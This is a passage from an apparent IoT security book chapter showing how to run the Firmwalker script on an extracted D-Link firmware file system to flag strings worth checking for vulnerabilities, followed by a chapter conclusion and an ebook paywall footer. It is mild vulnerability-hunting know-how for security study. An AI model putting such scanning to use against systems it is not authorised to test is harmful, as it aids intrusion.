One of the other ways of identifying low-hanging vulnerabilities in firmware is to run an automated script that greps through interesting strings, which then can be manually looked at. You can build such scripts by yourself or use one of the publicly available ones. One such tool is Firmwalker by Craig Smith (@craigz28). We already downloaded this tool when we were cloning the FAT repo, as this is also a part of the GitHub repo of FAT.

Let’s go to the firmwalker folder inside the FAT directory. If you look inside the data folder, it contains the entries that firmwalker looks for, as shown in Figure 7-48.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig48_HTML.jpg
Figure 7-48

Firmwalker folder contents

Let’s go ahead and run firmwalker, passing in the argument as the extract file system of Dlink_firmware.bin and see what it comes up with.
./firmwalker.sh ~/lab/firmware/_Dlink_firmware.bin.extracted/squashfs-root/
On completion of execution, it generates a firmwalker.txt file that contains the output. As we can see in Figure 7-49, it now identifies many things that we can manually look at to identify potential vulnerabilities.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig49_HTML.jpg
Figure 7-49

Firmware has found matches for various PHP files containing admin and upgrade

Conclusion

In this chapter, we looked at firmware internals and how we could extract a file system from a firmware binary image. We also had a look at the emulation of both firmware binaries as well as the complete firmware itself.

In the next chapter, we look at some other attacks that we can use once we have successfully emulated firmware, or if we have an IoT device sitting on the network.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.144.222.175